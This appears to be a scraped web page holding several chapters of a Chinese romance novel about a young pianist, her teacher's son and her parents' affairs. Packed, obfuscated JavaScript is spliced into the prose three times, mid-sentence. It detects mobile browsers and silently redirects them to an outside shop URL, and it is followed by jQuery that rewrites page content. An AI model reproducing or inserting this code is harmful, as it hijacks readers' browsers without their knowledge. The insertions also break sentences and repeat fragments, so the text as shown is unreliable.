她觉得自己像一艘在风浪里颠簸的小船。 时冷时热,梦里光怪陆离,一会儿是父亲的脸,一会儿是母亲的背影,最后定格在李寻用手背触她额头的瞬间,触感真实。 迷迷糊糊间,她感觉有人帮她掖了掖被角,动作很轻,有湿毛巾覆上她额头。 再次有清晰意识时,窗外的天已黑透雨也停。 睁开眼花了点时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730781|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间认出这不是自己的房间。 有淡淡的属于李寻的干净气息。 她动了动,感觉身上轻松不少。 “醒了?” 声音从门边传来。李寻靠在门框上没有进来。 “嗯。”梁初灵撑着坐起来,靠在床头。身上换了件棉T恤和棉长裤。 “我妈帮你换的,你自己的衣服汗湿了。”李寻这才走进来,把杯子递给她:“温的,梨水,喝吧。” 梁初灵接过来,喝着也看着李寻。 “几点了?”她问。 “晚上九点多。”李寻拉过书桌前的椅子,在床边坐下,“你睡了三个多小时。” “噢。”梁初灵捧着杯子。 这个房间安静,隔壁是书房,能听到李炽敲键盘的声音。 她也听到李寻扭了扭脖子的声音。 有人在你身边、在你附近,各自忙碌,互不打扰,却又彼此存在。 “饿不饿?”李寻又问,“我熬了小米粥。” 梁初灵其实没什么胃口,但肚子叫了一声。 她有点窘,又觉得这是人之常情! 于是一边脸红一边仰起头。 李寻笑了一下,“我去给你盛一碗。” 他站起身。 “等等,”梁初灵叫住他,“你一直在这儿?” 李寻没有回头:“没有。偶尔进来看看。” 梁初灵喝着粥,心里那种奇怪的感觉又来了。 生病时有人照顾,饿的时候有粥,在一个不属于自己的空间里。 “你还会熬粥啊?”她没话找话,想象不出李寻那双在琴键上飞舞的手做法的样子。 “嗯。梨水也是我煮的。我还会做别的。想吃吗?” “想想想,嘿嘿嘿。”梁初灵不好意思的笑笑。 “别不好意思,我也没打算做。”李寻故意逗她。 “……”梁初灵想翻白眼,谁稀罕! 李寻忍不住笑。 梁初灵不在意,继续说:“你们家挺好的。” 也许是生病让人脆弱,也许是梨水和粥软化了她,梁初灵忽然生出一点委屈。 “你家好好啊。”她又重复了一句。 李寻这下是真的想叹气:“下次不舒服,可以打电话给我。” 梁初灵看向李寻。 他坐在那里,灯光在他脸上投下,显得很活泼,即便他本人并不那么活泼。 灯光像帷幕,舞台却是李寻的脸,很华彩的一座舞台。帷幕半落不落,那条分界线很曲折,让梁初灵想起自己拿左手画画时那样曲折。 遮盖住的是什么? 末日对大人而言总是来得快,可对小孩而言还是慢,比想象来得慢,也比情感来得慢。 可是这赶路的时间被抽帧,一帧、一帧、一帧,导演简直要哽咽,哽咽完,帷幕后驶出一座线条曲折的船。 梁初灵心里想,这艘船带着她渡过了这场末日。 喝完粥,李寻接过空碗,又递给她一杯水和药,“把药吃了,再睡会儿?” 梁初灵乖乖照做。 躺下后李寻帮她关了灯。 “我就在外面,”他指了指客厅,“有事叫我。” “李寻。”梁初灵叫住他。 他回头。 “谢谢你。”这次说得很认真,还不够,再加一句,“今天是世界末日你知道吗?不知道也没关系,反正我们都活下来了。谢谢你。以后我也会带你离开末日的。” 李寻看着她,莫名想起了自己以前看过的一部漫画。 漫画并不精彩,但里面有一个快活的小孩子,呱呱坠地于人间,漫画一共三十回,她从头快活到尾。 在昏暗的光线里,而这昏暗的光线来自于他身后,所以梁初灵一定能无碍看住他的脸,而自己无法看清梁初灵。 李寻看不清她,却无法抑制想起那个快活的小孩子,不禁想,梁初灵应该也要这样高高兴兴的才对。 所以他这回笑得动态很大,想让她看清晰:“好,先提前谢谢你。睡吧,梁初灵。” 6. 《匈牙利狂想曲第二号》 妈女士从巴黎回来了,旋风般卷进家门,张开双臂,用一种舞台剧女主角的腔调喊:“宝贝!妈妈的缪斯!我回来了!” 梁初灵正从楼上下来,手里还拿着擦琴布的湿巾,被她妈抱住。 “妈,勒死了。”梁初灵瓮声瓮气。 妈女士松开她,捧着她的脸左看右看:“哎呀,是不是瘦了?脸色也不太好。是不是没好好吃饭?张姨!张姨!” 梁初灵拨开她的手:“张姨出去了。我没事。你玩得开心吗?” “开心当然开心!”妈女士被转移注意力,开始滔滔不绝讲述见闻。 晚饭时,梁父依旧缺席,不需要给理由。 桌上只有母女二人。 妈女士看着女儿依旧胃口好,不免眉开眼笑。妈女士是浙江人,小时候胃口很差不爱吃饭,老人怕养不活,用小刀在她的手掌上割过一刀,挤出来一些淡黄色偏白的东西。 那边的习俗叫做挑肝,是说把这东西挤出来,小孩子的胃口就会变好。 难以诠释这方法到底有没有用,只是后来妈女士再不吃饭,就会被大人威胁:不吃饭那就再去割手。 妈女士吓得开始硬吃。 长大后来到北京读书嫁人、自己为自己做主后,妈女士胃口差的天性又显现。生梁初灵时因为营养不足,还差点有危险。 所以妈女士看着自己女儿从小到大的好胃口,就觉得好、觉得妙、觉得开眉展眼。 梁初灵不负期待,小学有一次钢琴考试,为了凑时长要弹法国组曲,太过难背。背三声部四声部时,左手的声部走向容易记错,导致直接断掉。梁初灵又急躁又愤怒,气得要砸琴,后来老师带她吃了顿新疆烧烤后,立刻平心静气,继续回去背谱。 想到这妈女士又要笑,笑完,看着对面的女儿,她放下了筷子:“初灵,妈妈想跟你聊聊。” 梁初灵没抬头,“聊什么?” 虽然给出问句,但她当然猜得到妈妈想跟自己聊什么,也就猜得到就算自己不回复,妈妈也会把这个话题继续下去。 “家里的事是大人没处理好。让你不舒服了,妈妈知道。上次跟你说的话,你可能觉得妈妈这样不好。” 梁初灵没吭声。 妈女士叹了口气:“宝贝,妈妈首先是你妈妈。不管我这个人怎么样,爱美也好贪玩也好,喜欢买买买也好。这一点永远不会变。” 她伸出手,越过桌面,覆盖在梁初灵的手背上。 “大人的世界有时候很复杂,有很多乱七八糟的线头缠在一起,剪不断理还乱。但那些是大人的问题,不是你的。妈妈不希望你因为我们的矛盾,影响到你自己。” 梁初灵抬起头,看着母亲。 妈女士的妆依旧精致,但眼神里有一种她很少见到的认真,褪去戏剧性的浮夸。 “你的人生才刚刚开始,那么亮又好。别让任何事任何人,成为你翅膀上的重量。你生来就是要飞得很高很高的。”妈女士继续说,语气又恢复了一点跳脱,“你的舞台是世界,不是家里这摊子乱七八糟。你得往前看往上走。这才是正经事!别的有妈妈呢。” 天才不会不自知,但小小的天才踏上舞台,怎会不被家庭影响?换而言之,在这样的环境之下,没被家庭托举的天才很难成为天才。而被家庭托举之后,又怎会不被家庭影响? 人不可能不被影响。 所以梁初灵的理解会被家庭的理解所影响,而家庭的理解会被社会的理解所影响。 一个人的身份认知没有发生改变的话,大脑思考的方式就很难发生改变。人比沙子更轻微,也比玻璃更易碎,也比画布更容易染色,同时还因为她是女性,所以她的路其实比“人”的路更窄。 梁初灵看着妈妈,知道妈妈的话里有安慰,有转移视线,可能还有别的,但希望你好的核心是真的。 而且爸爸如今已经出轨,妈妈只有她了。 “妈妈就指望你养活了,等你成为了你想成为的人,我就一脚把你爸踹了。” 这句话也许妈女士是当玩笑说出,但梁初灵记在了心里。以她现在的水平,想赚钱,开几场独奏会或者接几个代言,来钱又快又体面。但是妈妈说的是要梁初灵成为她自己。以后想去哪里、成为什么样的人。这好难好难。 梁初灵反手握住妈妈的手,点了点头,只能先许一个不那么难的诺:“我知道。我会飞得很高的。” 网上好像流行过“别人关心你飞得高不高,爱你的人却关心你飞得累不累”这句话。 梁初灵嗤之以鼻。 废话,当然累。但关心了我累不累,难道我就不累了吗? 你关心我累不累,反而还影响我能不能飞得更高。 能飞起来的人都累。但这就是需要付出的代价。 我接受、我宣告、我交换、我入场、我征服。 她本来就不是会被打倒的人。 不是会被轻易打倒,而是,就不会被打倒。 梁初灵做好了成熟地去成功的准备。 是的,一个人应当要做好成功的准备,才能真的迎接成功。 这是梁初灵自己的真理。 她相信自己,如此一往无前地相信自己。 所以,当李炽将一份国际比赛的章程推到她面前时,梁初灵心跳平稳,只有期待,像乐章开始前,指挥抬起手时的那种期待。 竞争激烈,来者都是天才,所以舞台足够耀眼。 比赛五年一次,下一次举办就在后年十月份。 明年三月网站的报名系统就会开放。 李炽多说了几句:“对你来说,技术不是问题。你很聪明,我希望你能更聪明。弹钢琴最难的从来不是弹下来,而是处理方式。我希望你能拿第一名。” 梁初灵点头,她明白。 明年三月就要提交录像进行申请。时间很紧。 练习是枯燥且高强度的。 每天晚上睡觉前,她的手都抖得停不下来,索性梁初灵的睡眠质量和她的食量一样优质,抖着抖着也能睡过去。 梁初灵状态其实有点游离,她却已经说不出自己是被什么而影响。明明一切她都接受了不是吗? 她又开始练习一首新的肖邦作品,这次是一首夜曲。 李炽听完:“你在模仿鲁宾斯坦的版本?” 梁初灵确实最近反复在听鲁宾斯坦的录音。 李炽继续“模仿不是坏事,但你不能只停留在模仿。你现在弹的不是肖邦的夜曲,是鲁宾斯坦理解的肖邦夜曲。你自己的理解呢?你想说什么?我希望你能弹得完美。” 这天下午,她在李炽的琴房被引见一位来访的波兰钢琴教授。是李炽自己在美上过课的老师。 李炽让梁初灵弹了她准备的一首肖邦的练习曲。 教授听完鼓了鼓掌,用带着口音的英语说:“非常出色的技巧!令人惊叹的手指机能和控制力!只是音乐听起来有点太正确。缺少了一点大地的气息,肖邦的音乐,是扎在波兰的土壤和苦难里的。” 李炽没说什么,只是让教授先上楼。琴房里剩下师徒二人。 梁初灵站在原地,她没有被打击到,更多的是困惑和不忿。 她弹得哪里不对? 每一个音符她都处理得无懈可击! “觉得委屈?”李炽看着她。 “我弹错了吗?”梁初灵反问,带着特有的固执。 “没有。技术上你无懈可击,但是你弹得还是不够完美。”李炽平静地说,“音乐不止是技术。他在告诉你,你的肖邦,听起来像个局外人。你在演奏肖邦,而不是让肖邦通过你说话。” 梁初灵拧眉。 这个说法太抽象,在她脑子里晃了一下,却没照亮前路。 完美,这是李炽一直以来对她的要求。 梁初灵终于不解:“什么是完美?为什么您能定义完美?” 李炽笑了看了眼窗外:“很好的问题。梁初灵,我要求的完美,一定是我所定义的完美,是我主观的完美。但是先不必讨论客观是否比主观更高贵。人所需要遵循的,最终都只有自己的主观。尼采说,世上不存在真相,只存在视角。那么,世界上也就不存在客观。我们所谈论的一切标准、规则、正确,都是主观。” 她转回身,再度看向梁初灵:“很可惜,你现在没有能说服我的主观。而我教你的目的,是希望有一天,你能有说服所有人的坚不可摧的属于梁初灵的主观。” —— 李寻今天总算也在,周三晚上那节加课他没来。 梁初灵从李炽处得知是因为他学校有阶段考,他上的不是音乐附中,所以总归要忙一些。 梁初灵的生活轨迹其实很固定,附小附中一路上来,整个世界半径,是以家和琴房为圆心画出。 李寻则不同,他的人生选项里,钢琴是重要的组成部分但并非唯一。 所以,他确实有自己的一套时间规划,像一首结构严谨的赋格,妥帖安排,并行不悖。 李寻正在窗边看外面一棵树,一边活动眼睛一边活动手指,捏他的小鱼际。 这棵树和梁初灵之前琴房外面的那颗不一样,这是一棵黄杨。 宽广高大,漂亮活泼。 两人今天一起上课时,琴房里的气压很低,李炽的要求极端严格。 但梁初灵不反感,甚至觉得有李寻在旁边一起被锤炼,那种备赛的焦灼感反而被分担。 看到他同样在努力攻克难点,看到他因为一个技术片段反复练习直到完美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旋律线条很特别,开头是几小节漂浮般的单音,然后和弦潜入,像夜色笼罩。中段激动,旋律线挣扎,却又在即将抵达高点时回落,最终归于宁静。 谱子边缘,还有几个中文标注: “星环。” “深河。” “无人知晓的对话。” 梁初灵把所有的谱子,包括那张手稿,一起塞进自己的谱夹,站起身若无其事地跟李寻道别。 反正我已经是个坏人了,梁初灵这一回心态放得平。 回到家,她立刻钻进琴房复现那段旋律。 这首曲子不够正确。和声进行有些地方不符合教科书,结构也随心所欲。但有一种原始的力量,一种未经雕琢的诉说。 不试图去成为典范,只是它自己。 这很完美……梁初灵忍不住想,这真的很完美,是梁初灵认为的完美。 这是李寻写的吗? 昨天是周五,这周的周末课程在周日。 去的时候,梁初灵感觉自己像个特工。 李寻依旧在。 下课后,梁初灵没有走向门口,而是坐到了钢琴前。 李寻抬头看她,以为她还要练习。 梁初灵没有弹肖邦,弹出了一段那张手稿的旋律。 音符响起的瞬间,李寻整个人凝固。 他脸上第一次出现了错愕。 梁初灵弹完一小段,停下来。 她看向李寻,兴奋又笃定:“李寻,这才是你吗?这是你的灵魂?” 指了指钢琴,那架琴是她的共犯。 “你把所有的不和谐所有的冲突都藏在这里了?” 李寻看着她,看着直接得近乎莽撞、永远生机勃勃的梁初灵。 他无法躲藏。 又想起自己想要她高高兴兴,现在她的确看起来十分高兴,那么李寻不想扫她的兴。 于是笑了一下,李寻带着轻松,不在意一般向着梁初灵表达:“对。被小天才发现了。” “我就知道!”梁初灵几乎要跳起,开始胁迫,“你还有别的对不对?快点,弹给我听!” 李寻走到了钢琴边。只是站着不坐下,按下音符。 一段与刚才那段的温柔不同,带着更多探索性的乐句流淌。 不如梁初灵弹得流畅辉煌,但情感的真诚构筑起一个动人的世界。 梁初灵屏住呼吸。 她很少在听钢琴曲的时候走神。但此刻她走神,因为她听到了李寻在对她表达。 他在向她展示那个赤裸的自我,而她是第一个也是唯一一个听众。 这是一场无人知晓的对话。 7. 《悲怆奏鸣曲》 梁父时隔多日,终于再次踏进家门。带着热情。 妈女士也配合得天衣无缝,笑意盈盈迎上去,接过他根本没打算脱下的外套。 “哟,太阳打西边出来了?”妈女士带着点揶揄的亲热,“我们梁大老板还记得家门朝哪边开呢?” 梁父呵呵一笑,把公文包递给张姨,神态自若:“说的什么话,这不是想你们娘俩了嘛。”走过来揽了下妈女士的肩。 晚餐桌上,罕见凑齐三个人。 父母两人你来我往,谈笑风生,从合作项目的进展,聊到近期股市波动,再到妈女士在巴黎的见闻。 话题丝滑流转,气氛融洽得如同最恩爱的夫妻。 仿佛之前那些网址照片和沉默,都只是梁初灵做的一场噩梦。 梁初灵埋头吃饭,她心里拱着火,但按捺着,只是用筷子把一根青菜戳得千疮百孔。 感觉自己是观众,看着台上两位主演卖力演出,却只想提前离场。 可两个只有谈到孩子才有共同话题的大人,怎么会不把话题绕到孩子身上呢。 梁父开口:“初灵,你李老师那边最近怎么样?我听说那个什么比赛你要去?” “嗯。”梁初灵从鼻子里哼。 梁初灵在李炽那儿上课本身就值得一场新闻,梁父知道这事儿太正常。 李炽声名远扬,梁父想借东风。 “好事,拿个奖回来,履历上多一笔,到时候跟唱片公司谈分成也更有底气。”梁父笑容满面,却又话锋一转,“你是又有去柯蒂斯的想法?但十三岁十四岁,那才叫神童,轰动效应最大。你当时不去,现在兜兜转转又想去了?你这不是浪费时间吗?” 梁初灵没抬头,无语:“我不当神童好多年。” 梁父没管,继续分析:“要我说,现在去读书,纯粹是走弯路。你应该立刻签约唱片公司,开启全球巡演,名气、地位,唾手可得。然后趁着这股东风,开始创作,写出属于你自己的传世名作。这才是你该走的路,读书?读书能给你带来什么?那些教授,有几个能有你现在的成就?” 梁初灵对于这番话并不陌生,实际上要不是李炽名气实在太大,她去那里上课梁父都觉得没必要,觉得纯属浪费时间。 真是难以沟通的疲惫。梁初灵只能说:“我不想要那样。” 梁父真正不解:“那你想要什么?你告诉我,你现在去柯蒂斯,和十三岁去,有什么区别?既然终点一样,为什么非要绕一圈?这不是脱裤子放屁吗?” “有区别啊,十三岁,我进去,她们是收一个神童。但实际上柯蒂斯要的不是神童也不是学生,是成型的艺术家。我不想被当成孩子了。” 三句话的主语其实都不同,重点也不同。 梁初灵自己也解释不清自己在说什么,也解释不清区别,解释不清关于在音乐世界里作为一个个体的完整站立。 所有人都觉得她应该立刻马上,踩着天才少女的光环,空降费城。 只有梁初灵自己不这么想。 不需要去占年纪小这个名号。 她需要的是,自己一走进去,她们就把自己当成一个成熟的钢琴家来对待,用最高的标准。 现在进去,她们看到的可能还是有潜力的孩子。 我不想再当孩子—— 梁初灵笃定。 她笃定自己不想。 如她笃定不需要依赖先天优势,后天训练同样能达到顶尖水平。 如她没有现在学琴的人几乎人手一个的绝对音感,可靠着后天训练出来的固定音高概念,靠着记忆和逻辑推断,依然能达到一样的表现能力。 不影响她弹琴,不影响拿奖,不影响理解音乐,不影响知道自己能走到哪里。 这有什么问题吗? “还有创作,我根本不会创作啊。这又不是有名气就能出来的。它需要广阔的视野和深厚的根基。也需要沉淀。”梁初灵企图螺蛳壳里做道场。 “你还要沉淀什么?你的技术不是连李炽都挑不出毛病吗?央音请你去开大师课,国际比赛请你去当评委,这还不够?你还要怎么证明自己?” 梁初灵没有企图了,语言到达了边界。 想起不知道谁说的,当语言到达了边界,那就是音乐的开始。 她本来就不善于辩论,还不如让她弹一首呢…… 她只是重复:“我不想再被当成孩子。” 妈女士一直安静听,慢慢挑起一个带着骄傲的笑容。此刻轻轻拍了拍丈夫的手臂,语气调侃:“行了行了,女儿比我们懂。咱们俩,一个满身铜臭,一个只会臭美,对艺术能懂多少?就别在这儿瞎指挥。她想读书就让她去读,想什么时候读就什么时候读。” 梁父被母女俩一唱一和,有些讪讪,没再坚持。 像是为了弥补刚才的失言,吃完饭后梁父拿出一个奢侈品纸袋,推到梁初灵面前。 “爸爸给你带的礼物,一条围巾,天气冷了。” 梁初灵看着那个袋子没动。 妈女士笑着打圆场:“我们宝贝长大了,知道爸爸心意就好。” 梁父催促:“打开看看喜不喜欢?” 梁初灵在父母的目光下,伸手拿过纸袋。 包装很精美,拆开丝带,打开盒子—— 里面不是围巾。 是一套女士内衣。 黑色的蕾丝泛着暧昧。 空气凝固。 梁父脸上的笑僵住,明显慌乱。 这不可能是拿错了给妈女士的礼物,送给妈女士的那只新包,此刻正被她随意放在地上。 这套内衣是送给谁的,答案呼之欲出。 妈女士的脸色也白了一下,仅是一瞬。 她立刻伸手,盖上盒子,脸上挤出娇嗔:“哎呀!你这人!怎么偷偷给我买这个!还当着孩子的面!真是的!” 试图把这场荒诞剧继续演下去。 但梁初灵没给她这个机会。 一把从母亲手中抽回那个内衣盒,转身就冲出客厅跑出了家门。 冬夜寒冷的风像耳光。 她跑到小区里一棵大树下,看着手里那个盒子,想把它撕碎! 梁初灵用尽全身力气,把它扔向了远处的垃圾桶。盒子砸在桶盖上,然后弹落在地,盒子弹开,那套黑色内衣掉出来。 落在草地上,像一块疮。 她爱惜手,只能抬起脚踹向身边那棵树,脚趾被震疼,眼泪瞬间就涌了出来。 一个愚蠢的泄洪口,眼泪糊了一脸,梁初灵觉得是被自己蠢哭的,她生自己的气:弹琴的手宝贵,踩踏板的脚难道就是铁打的?蠢死! 她蹲下身抱着膝盖,脚好疼。 梁初灵觉得自己好像发烧了,不然怎么会头晕目眩,浑身发冷,脸颊发烫。 是发烧了吗?是发烧了吧? 潜意识里在渴望生病,因为生病了,就可以理所当然去找李寻。 他上次说过,“下次不舒服,可以打电话给我。” 梁初灵犹豫着要不要打这个电话。 一抬头,有点点冰凉落下。 下雪了。 安静的雪花飘洒,落在她的头发上肩膀上,落在前面那套内衣上,用白掩盖黑。 她蹲在雪地里,茫然无措。 “宝贝!” 是妈女士追了出来,跑得有些气喘。 看到蹲在地上的女儿,散落在地的内衣,走过去把内衣和盒子都捡起来重新扔回垃圾桶。然后快步过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730783|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“跑出来也不穿件外套!”妈女士蹲下用力抱住她,双手搓着她的手臂和后背,“跟妈妈回家,今晚跟妈妈一起睡,别怕,别怕啊。” 母亲的怀抱是温暖的,梁初灵心里的委屈决堤,正要靠进去。 妈女士手上拿着的手机屏幕亮了。 备注是一个太阳表情符号,消息内容:”晚安甜心“ 妈女士也看到了那条消息。没有丝毫慌张,无比镇定地用拇指锁屏。然后更加用力地抱紧梁初灵。 她继续抱着梁初灵,声音放得更柔:“走,跟妈妈回去。” 梁初灵猛地挣开她的怀抱,自己踉跄了一下。 灯光打在妈女士的头顶上,她呵气如雾,雪花飘落,看起来无比符合一幕剧作的女主角。梁初灵甘居其次,看着对面的这位女主,想到李寻曾对她说的“基因也没什么重要的”,她当时并非全然接受,但此刻深信不疑。 她和她的母亲、她的父亲,如此不同。 科学已经证明她们是有血缘关系的一家人,可是血缘没能塑造梁初灵,却是环境塑造的她。 血缘和环境产生分歧。 梁初灵觉得这是一种很不公平的分歧,就如同李寻没能继承李炽的天赋那样不公平,他能接受和而不同,她却只觉不公。 初中某次妈女士和她去泡温泉,嫌她头发毛糙,拽着梁初灵给她上护发素,护发素上写着只需停留三分钟。没到三分钟,妈女士从容洗去,但梁初灵让其停留了五分钟。 梁初灵的世界充满变量,一切都是她无法预测和掌握的。 因此,在她能控制的领域她要做到极致,通过超额完成来构建一种确定性。 多出来的两分钟,多练习的几小时,上课前预习,下课后复习,都是她为自己增加的安全边际,用以对抗外界可能出现的任何意外和失控。 可生活却是时时刻刻不知如何是好。 女主角一言不发,就像她可以不必解释一样,这也很不公平。 梁初灵只好看着自己的母亲,换她上场,突然也演得无比镇定:“妈,我今晚去同学家里睡,可以吗?” 妈女士看着女儿,沉默了片刻。 雪花落在她们之间。 “好。”妈女士最终只回答了一个字。 她没有问是哪个同学,只是又问:“明天会好好去弹琴吗?” “会的。”梁初灵回答。 “好。”妈女士再次说道。 梁初灵忍着脚趾传来的痛,转过身,一步一步,走得平稳而笃定。 看,她也是很好的演员。 就这样朝着小区大门外演去。 她没有回头。 雪下得大了,在地上铺了薄薄一层。 她走到小区外的凉亭里,找了个角落坐下。 雪花在亭子外飞舞,世界安静得只剩下落雪声。 屏幕有些模糊。 电话接通得很快。 “喂?” 梁初灵听着李寻的声音,鼻子一酸,强装的镇定土崩瓦解。 她吸了吸鼻子,让自己的声音听起来正常一点:“李寻。” 她看着亭外漫天飞舞的雪花,一片片,洁白,细看却又憔悴。憔悴中又动人,动人中藏着锋芒。是赴死的战士。 突兀想起《悲怆奏鸣曲》 当初弹这首时,研究踏板怎么踩就研究了一个月,那样充满戏剧性的旋律,也会被她们这样的人硬生生拉入生活之中。 这雪花也是何等的戏剧化,整个世界作为布景,天上的另一个世界却毫无声息。 巨人的气概化作雪花,飘零在她的身上。 恍若春天到来。 梁初灵对着春天轻声说,“我好像生病了,我能去找你吗?” 8. 《幻想即兴曲》 没生病可以 随时 “我好像生病了,我能去找你吗?” 梁初灵问完这句话,没等李寻回复,再次开口,这次很愤怒:“你在练琴?!” 她听到了对面的节拍器的声音,耳朵瞬间竖起来,刚才那点自怜自艾和委屈,被一下子冲散了十分! “李寻!你在琴房?你偷偷努力!” 李寻的声音带着点无奈,透过听筒传来:“没有偷偷。只是晚上没什么事过来练一会儿。” “练一会儿?”梁初灵不信,“你是不是想偷偷超过我?不行,我也要去练琴!” 她说着就站起来,忘了脚踝的痛。 李寻在那头是真没办法了。 他心想你这生着病还惦记着练琴,是真想面对面练给肖邦听啊? 脑子里想过这句话,立刻用指尖点了点钢琴表面,意为道歉,冒犯冒犯…… “你在哪儿?”他打断梁初灵气势汹汹的控诉。 “我们家小区外面的景观亭。”梁初灵的气势弱了一点,重新蹲回角落,看着越下越大的雪。 “等着别动。我马上过来。”李寻说完顿了顿,“找个背风的地方。” 挂了电话,梁初灵心里的烦躁消退,取而代之的是好胜心。 一点委屈也不肯受,打开手机地图,查看从李炽老师的小楼到这里的位置。 打车预计十五分钟,公交车要半小时。 她又给李寻发了条语音,语气蛮横:“你半小时之内一定要到!不然我就死了!” 刚收拾好东西,准备出门的李寻听到这条语音,脚下一个趔趄,差点被自己绊倒。 死了?这么严重! 听她刚才在电话里嚷嚷的样子,又不太像啊。 这得是生了什么瞬息万变的急病…… 李寻不敢赌,抓了把伞,叫了一辆专车。 到得比预计还快些。不到十五分钟。 车停在小区外,他撑着伞走到亭子边,一眼就看见梁初灵。 她穿着家居服,头发被雪打湿了几缕贴在额头上,脸冻得有点白,正百无聊赖地用手指在凳面上画鬼画符。 怎么看,也不像快要死了的样子。 但是看着怪可怜的。 “梁初灵?” 梁初灵抬起头。 路灯和雪光映照下,她的脸确实苍白,眼睛也红。 除此之外精神头好像还行,至少看她的眼神还挺有杀气。 李寻上上下下看了她一遍,没看出什么明显病容。 转念一想,梁初灵向来喜欢张牙舞爪,没准现在难受得厉害,只是强撑着不表现。 长柄伞打在梁初灵头上。 梁初灵个子不矮,幸好李寻也高,撑伞的姿态倒也和谐。 他把伞面倾斜到了她那边,看着亭外飘雪,李寻犹豫了一下,把羽绒服自带的帽子戴上了—— 还是有点担心自己生病,毕竟还要练琴。 “走吧,车快到了。”李寻说。 梁初灵跟着他往外走,脚落地时牵扯到痛处,她立刻忍住,装作若无其事。 刚走出亭子,她的目光就被在雪中坚守的冰糖葫芦摊贩吸引。 “冰糖葫芦,”她扯着李寻的袖子嚷,“我想吃那个!” 李寻看着她焕发活力的样,确定她刚才那句“要死了”水分极大。 他把伞递给她:“自己撑着。” 梁初灵看着李寻跑过去买,心里那因为麻烦他而产生的歉意冒头,觉得自己也该表示一下。 于是她也往那边走,深一脚浅一脚地想跟过去,也想为他撑撑伞。 乐极生悲也就罢了,怎么悲极也生悲。 注意力全在李寻和糖葫芦上,没看脚下,一脚踩进了旁边一个结了层冰壳的水洼里。 冰面碎裂,像是猝不及防踏入了另一个世界。 梁初灵低呼,还没完全反应过来—— “抬脚。” 李寻很快买完,已经又跑了回来,立即半蹲下去捏住她小腿。 梁初灵抬起那只脚,李寻转而握住梁初灵的膝窝,在袜子也被打湿之前,把那双家居拖鞋脱了下来。 梁初灵看着蹲在自己面前的李寻,看着他帽檐和肩头的雪花,脑子里冒出一个莫名其妙的念头,脱口而出:“李寻,你好像这洼水啊。” 李寻正准备把她另一只脚也检查一下的动作停下。 他抬起头,眼睛里带着明显的莫名其妙,又有点恼。 恼自己观察不仔细,让她站水坑旁边。 恼自己观察又不仔细,梁初灵刚才走那几步路他才看出来,她右脚一定受伤了,不然怎么走着有点瘸。 恼自己又太仔细,梁初灵怎么能拿自己跟这个伤害了她的水做类比。 什么意思。 刚才李寻听到声音回头,就看到她一只脚陷在水坑里,表情懵懵的,举着伞的样子有点滑稽又有点可怜。 此刻他一言不发,把那只湿拖鞋拎在手里,正准备找地方扔,路过一个打扫落叶的大爷,手上拿着一个转运袋一样的大袋子。 大爷和李寻面面相觑。 大爷严肃:“手上有垃圾想扔怎么办?能随便扔吗?” 李寻摇摇头。 大爷:“那你说应该怎么办?” 李寻:“找垃圾桶。” 大爷:“好孩子。来,扔我这儿吧。”说着把垃圾袋往前伸。 李寻忙把那只拖鞋扔进去。 大爷自觉完成了今日的考问课程,面露满意地走开。 梁初灵看傻,都不知道怎么接话,又觉得李寻应该不会希望自己在这个时候接话,于是闭嘴,高高地撑伞。 李寻让她那只脚先踩自己鞋面上。 梁初灵也乖乖地听指挥。 李寻趁着她注意力在脚上,迅速用手背碰了一下她额头。 一点发烧的迹象都没有。 他心里有了点数,但什么也没问。 叫的车打着双闪停在路边。 从二人站的位置到车门,还有一小段路。 李寻看了看梁初灵,她一只脚穿着拖鞋,一只脚踩在他鞋面上,一只手扶着自己胳膊,一只手打着伞。 实在狼狈。 沉默了一下,问:“你介意我把你薅过去吗?” 梁初灵正在尝试单腿蹦,看看能不能一路蹦过去,努力保持平衡,听到这话瞪大眼睛:“李寻!你能用抱这个字吗?我是个人!” 李寻:“……得。” 算是明白,跟这位小天才讲道理是没用的。 李寻利落地把梁初灵手里的伞收了起来,反正已经基本确定她没生病,掉点雪在头上也没什么大不了的了。 把装那几串冰糖葫芦的纸袋塞进她手里让她拿好。 在梁初灵还没反应过来的时候,李寻一用力直接把她打横抱起。梁初灵身体素质很好,体重不算轻,但看起来李寻的身体素质也很优秀。 梁初灵没忍住还捏了捏李寻胳膊,很有肌肉,她心里翘起了嘴:我胳膊肌肉也不差噢! 决定一会儿自己也抱抱李寻试试。 雨天路滑,李寻被路人不小心撞了一下,梁初灵立刻搂住他的脖子,纸袋打在李寻的后脖颈上,他也没吭声。梁初灵靠近嗅了嗅,闻到他身上淡淡的像是洗衣液混着漆木油的味道。 李寻抱着她朝着车走去。 雪花落在她的脸上,冰冰凉。她没再说话也没再动作,抓着手里的一袋子冰糖葫芦。 司机是个叔,看着李寻抱着个女孩上车,还挺热心肠地帮忙开了车门,脸上带着善意的笑。 坐进车厢,梁初灵才松了口气。 李寻把她放在座位上,自己从另一边上车。 梁初灵看着手里的冰糖葫芦,李寻买的很齐全,山楂的,山药的,草莓的。 李寻系好安全带瞥了她一眼,提了一嘴:“别在车上吃啊,一会儿就到家了,回家吃。” 